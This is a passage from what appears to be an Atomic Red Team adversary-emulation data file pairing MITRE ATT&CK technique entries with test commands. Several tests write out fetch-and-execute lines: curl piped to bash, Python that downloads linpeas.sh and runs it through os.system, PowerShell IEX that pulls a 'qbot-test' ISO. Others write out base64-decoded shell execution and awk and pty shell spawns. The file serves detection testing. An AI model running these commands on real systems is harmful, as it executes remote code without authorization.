5bec4cc8-f41e-437b-b417-33ff60acf9af description: 'An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to bash, which results in the id command being executed. ' supported_platforms: - linux executor: name: sh elevation_required: false command: | [ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d" ART=$(echo -n "id" | $encodecmd) echo "\$ART=$ART" echo -n "$ART" | $decodecmd |/bin/bash unset ART - name: Change login shell auto_generated_guid: c7ac59cb-13cc-4622-81dc-6d2fee9bfac7 description: "An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user. \n" supported_platforms: - linux dependencies: - description: 'chsh - change login shell, must be installed ' prereq_command: 'if [ -f /usr/bin/chsh ]; then echo "exit 0"; else echo "exit 1"; exit 1; fi ' get_prereq_command: 'echo "Automated installer not implemented yet, please install chsh manually" ' executor: name: bash elevation_required: true command: | [ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art cat /etc/passwd |grep ^art chsh -s /bin/sh art cat /etc/passwd |grep ^art cleanup_command: '[ "$(uname)" = ''FreeBSD'' ] && rmuser -y art || userdel art ' - name: Environment variable scripts auto_generated_guid: bdaebd56-368b-4970-a523-f905ff4a8a51 description: 'An adversary may place scripts in an environment variable because they can''t or don''t wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash ' supported_platforms: - linux executor: name: sh elevation_required: false command: | export ART='echo "Atomic Red Team was here... T1059.004"' echo $ART |/bin/sh cleanup_command: 'unset ART ' - name: Detecting pipe-to-shell auto_generated_guid: fca246a8-a585-4f28-a2df-6495973976a1 description: 'An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage of this BLIND install method and selectively running extra commands in the install script for those who DO pipe to bash and not for those who DO NOT. This test uses curl to download the pipe-to-shell.sh script, the first time without piping it to bash and the second piping it into bash which executes the echo command. ' supported_platforms: - linux input_arguments: remote_url: description: url of remote payload type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/pipe-to-shell.sh dependency_executor_name: bash dependencies: - description: 'Check if curl is installed on the machine. ' prereq_command: 'if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi ' get_prereq_command: 'which apt && apt update && apt install -y curl || which pkg && pkg update && pkg install -y curl ' executor: name: sh elevation_required: false command: "cd /tmp\ncurl -s #{remote_url} |bash\nls -la /tmp/art.txt \n" cleanup_command: 'rm /tmp/art.txt ' - name: Current kernel information enumeration auto_generated_guid: 3a53734a-9e26-4f4b-ad15-059e767f5f14 description: 'An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information. ' supported_platforms: - linux executor: name: sh elevation_required: false command: 'uname -srm ' - name: Shell Creation using awk command auto_generated_guid: ee72b37d-b8f5-46a5-a9e7-0ff50035ffd5 description: |- In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell supported_platforms: - linux - macos executor: command: awk 'BEGIN {system("/bin/sh &")}' name: sh T1559: technique: x_mitre_platforms: - Windows - macOS - Linux x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d type: attack-pattern created: '2020-02-12T14:08:48.689Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1559 url: https://attack.mitre.org/techniques/T1559 - source_name: Linux IPC url: https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them. description: N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved March 11, 2022. - source_name: Fireeye Hunting COM June 2019 url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019. modified: '2022-05-11T14:00:00.188Z' name: Inter-Process Communication description: "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_detection: Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms. x_mitre_version: '1.2' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Module: Module Load' - 'Process: Process Creation' - 'Script: Script Execution' - 'Process: Process Access' x_mitre_permissions_required: - Administrator - User - SYSTEM x_mitre_remote_support: true x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1559 atomic_tests: - name: Cobalt Strike Artifact Kit pipe auto_generated_guid: bd13b9fc-b758-496a-b81a-397462f82c72 description: | Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication. The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe. supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Named pipe executors must exist on disk ' prereq_command: 'if ((Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_client.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_server.exe")) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) $zipUrl = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip" Invoke-FetchFromZip $zipUrl "*.exe" "PathToAtomicsFolder\..\ExternalPayloads" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 1 ' name: command_prompt - name: Cobalt Strike Lateral Movement (psexec_psh) pipe auto_generated_guid: 830c8b6c-7a70-4f40-b975-8bbe74558acd description: | Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication. The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe. supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Named pipe executors must exist on disk ' prereq_command: 'if ((Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_client.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_server.exe")) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) $zipUrl = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip" Invoke-FetchFromZip $zipUrl "*.exe" "PathToAtomicsFolder\..\ExternalPayloads" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 2 ' name: command_prompt - name: Cobalt Strike SSH (postex_ssh) pipe auto_generated_guid: d1f72fa0-5bc2-4b4b-bd1e-43b6e8cfb2e6 description: | Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication. The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe. supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Named pipe executors must exist on disk ' prereq_command: 'if ((Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_client.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_server.exe")) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) $zipUrl = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip" Invoke-FetchFromZip $zipUrl "*.exe" "PathToAtomicsFolder\..\ExternalPayloads" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 3 ' name: command_prompt - name: Cobalt Strike post-exploitation pipe (4.2 and later) auto_generated_guid: 7a48f482-246f-4aeb-9837-21c271ebf244 description: | Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication. The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe. supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Named pipe executors must exist on disk ' prereq_command: 'if ((Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_client.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_server.exe")) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) $zipUrl = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip" Invoke-FetchFromZip $zipUrl "*.exe" "PathToAtomicsFolder\..\ExternalPayloads" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 4 ' name: command_prompt - name: Cobalt Strike post-exploitation pipe (before 4.2) auto_generated_guid: 8dbfc15c-527b-4ab0-a272-019f469d367f description: | Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication. The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe. supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Named pipe executors must exist on disk ' prereq_command: 'if ((Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe") -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_client.exe") -and ("Test-Path PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_server.exe")) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) $zipUrl = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip" Invoke-FetchFromZip $zipUrl "*.exe" "PathToAtomicsFolder\..\ExternalPayloads" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 5 ' name: command_prompt T1204.003: technique: x_mitre_platforms: - IaaS - Containers x_mitre_domains: - enterprise-attack x_mitre_contributors: - Center for Threat-Informed Defense (CTID) - Vishwas Manral, McAfee object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec type: attack-pattern created: '2021-03-30T17:20:05.789Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1204.003 url: https://attack.mitre.org/techniques/T1204/003 - source_name: Summit Route Malicious AMIs url: https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/ description: Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021. - source_name: Aqua Security Cloud Native Threat Report June 2021 url: https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation description: Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021. modified: '2022-04-25T14:00:00.188Z' name: 'User Execution: Malicious Image' description: |- Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs) Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_detection: Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Command: Command Execution' - 'Image: Image Creation' - 'Container: Container Start' - 'Container: Container Creation' - 'Instance: Instance Start' - 'Instance: Instance Creation' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1204.003 atomic_tests: - name: Malicious Execution from Mounted ISO Image auto_generated_guid: e9795c8d-42aa-4ed4-ad80-551ed793d006 description: Adversaries may rely on a user running a malicious image to facilitate execution supported_platforms: - windows executor: command: |- IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso" -OutFile "$env:TEMP\qbot-test.iso") Mount-DiskImage -ImagePath "$env:TEMP\qbot-test.iso" $mountedpath = (Get-DiskImage -ImagePath "$env:TEMP\qbot-test.iso" | Get-Volume).DriveLetter $finalpath = $mountedpath + ":\" cd $finalpath .\calc.exe.lnk cleanup_command: "start-sleep -s 5\nstop-process -Name \"Calculatorapp\" -Force \ndismount-diskimage -ImagePath \"$env:TEMP\\qbot-test.iso\"" name: powershell elevation_required: true T1203: technique: x_mitre_platforms: - Linux - Windows - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63 created: '2018-04-18T17:59:24.739Z' x_mitre_version: '1.4' external_references: - source_name: mitre-attack external_id: T1203 url: https://attack.mitre.org/techniques/T1203 x_mitre_deprecated: false revoked: false description: |- Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility. Several types exist: ### Browser-based Exploitation Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed. ### Office Applications Common office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run. ### Common Third-party Applications Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents. modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Exploitation for Client Execution x_mitre_detection: Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_is_subtechnique: false x_mitre_data_sources: - 'Process: Process Creation' - 'Application Log: Application Log Content' x_mitre_system_requirements: - Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise. x_mitre_remote_support: false x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1059.006: technique: modified: '2024-01-30T18:35:58.021Z' name: 'Command and Scripting Interpreter: Python' description: |- Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.(Citation: Zscaler APT31 Covid-19 October 2020) Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_deprecated: false x_mitre_detection: |- Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - Windows - macOS x_mitre_version: '1.0' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_remote_support: false x_mitre_system_requirements: - Python is installed. type: attack-pattern id: attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1 created: '2020-03-09T14:38:24.334Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1059/006 external_id: T1059.006 - source_name: Zscaler APT31 Covid-19 October 2020 description: Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021. url: https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1059.006 atomic_tests: - name: Execute shell script via python's command mode arguement auto_generated_guid: 3a95cdb2-c6ea-4761-b24e-02b71889b8bb description: Download and execute shell script and write to file then execute locally using Python -c (command mode) supported_platforms: - linux input_arguments: script_url: description: Shell script public URL type: string default: https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh payload_file_name: description: Name of shell script downloaded from the script_url type: string default: T1059.006-payload executor: description: FreeBSD or Linux shell type: string default: sh script_args: description: Arguments to check for system stats, available software, process details, environment paths, open sockets, and interesting files. type: string default: "-q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles" dependency_executor_name: sh dependencies: - description: Verify if python is in the environment variable path and attempt to import requests library. prereq_command: | which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? get_prereq_command: 'pip install requests ' executor: command: | which_python=$(which python || which python3 || which python3.9 || which python2) $which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)' name: sh cleanup_command: "rm #{payload_file_name} \npip-autoremove pypykatz >nul 2> nul\n" - name: Execute Python via scripts auto_generated_guid: 6c4d1dcb-33c7-4c36-a8df-c6cfd0408be8 description: Create Python file (.py) that downloads and executes shell script via executor arguments supported_platforms: - linux input_arguments: python_script_name: description: Python script name type: path default: T1059.006.py script_url: description: Shell script public URL type: string default: https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh payload_file_name: description: Shell script file name downloaded from the script_url type: string default: T1059.006-payload executor: description: Payload or script interpreter / executor type: string default: sh script_args: description: Arguments to check for system stats, available software, process details, environment paths, open sockets, and interesting files type: string default: "-q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles" dependency_executor_name: sh dependencies: - description: 'Requires Python ' prereq_command: | which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? get_prereq_command: "pip install requests \n" executor: command: | which_python=$(which python || which python3 || which python3.9 || which python2) echo 'import requests' > #{python_script_name} echo 'import os' >> #{python_script_name} echo 'url = "#{script_url}"' >> #{python_script_name} echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name} echo 'session = requests.session()' >> #{python_script_name} echo 'source = session.get(url).content' >> #{python_script_name} echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name} echo 'fd.write(source)' >> #{python_script_name} echo 'fd.close()' >> #{python_script_name} echo 'os.system(malicious_command)' >> #{python_script_name} $which_python #{python_script_name} name: sh cleanup_command: "rm #{python_script_name} #{payload_file_name} \n" - name: Execute Python via Python executables auto_generated_guid: 0b44d79b-570a-4b27-a31f-3bf2156e5eaa description: 'Create Python file (.py) then compile to binary (.pyc) that downloads an external malicious script then executes locally using the supplied executor and arguments ' supported_platforms: - linux input_arguments: python_script_name: description: Name of Python script name type: path default: T1059.006.py script_url: description: URL hosting external malicious payload type: string default: https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh payload_file_name: description: Shell script file name downloaded from the script_url type: string default: T1059.006-payload executor: description: Payload or script interpreter / executor type: string default: sh script_args: description: Arguments to check for system stats, available software, process details, environment paths, open sockets, and interesting files type: string default: "-q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles" python_binary_name: description: Name of Python file to be compiled type: path default: T1059.006.pyc dependency_executor_name: sh dependencies: - description: 'Requires Python ' prereq_command: | which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? get_prereq_command: "pip install requests \n" executor: command: | which_python=$(which python || which python3 || which python3.9 || which python2) echo 'import requests' > #{python_script_name} echo 'import os' >> #{python_script_name} echo 'url = "#{script_url}"' >> #{python_script_name} echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name} echo 'session = requests.session()' >> #{python_script_name} echo 'source = session.get(url).content' >> #{python_script_name} echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name} echo 'fd.write(source)' >> #{python_script_name} echo 'fd.close()' >> #{python_script_name} echo 'os.system(malicious_command)' >> #{python_script_name} $which_python -c 'import py_compile; py_compile.compile("#{python_script_name}", "#{python_binary_name}")' $which_python #{python_binary_name} name: sh cleanup_command: 'rm #{python_binary_name} #{python_script_name} #{payload_file_name} ' - name: Python pty module and spawn function used to spawn sh or bash auto_generated_guid: 161d694c-b543-4434-85c3-c3a433e33792 description: 'Uses the Python spawn function to spawn a sh shell followed by a bash shell. Per Volexity, this technique was observed in exploitation of Atlassian Confluence [CVE-2022-26134]. Reference: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence ' supported_platforms: - linux dependencies: - description: 'Verify if python is in the environment variable path and attempt to import requests library. ' prereq_command: "which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V\n$which_python -c 'import requests' 2>/dev/null; echo $? \n" get_prereq_command: 'pip install requests ' executor: command: |- which_python=$(which python || which python3 || which python3.9 || which python2) $which_python -c "import pty;pty.spawn('/bin/sh')" exit $which_python -c "import pty;pty.spawn('/bin/bash')" exit name: sh T1569: technique: x_mitre_platforms: - Windows - macOS - Linux x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253 type: attack-pattern created: '2020-03-10T18:23:06.482Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1569 url: https://attack.mitre.org/techniques/T1569 modified: '2022-05-11T14:00:00.188Z' name: System Services description: Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_detection: Monitor for command line invocations of tools capable of modifying services that doesn’t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry. x_mitre_version: '1.2' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Creation' - 'Service: Service Creation' - 'File: File Modification' - 'Command: Command Execution' x_mitre_permissions_required: - User - Administrator - SYSTEM - root x_mitre_remote_support: true x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1059.003: technique: modified: '2024-03-01T17:35:02.889Z' name: 'Command and Scripting Interpreter: Windows Command Shell' description: |- Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows) Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems. Adversaries may leverage 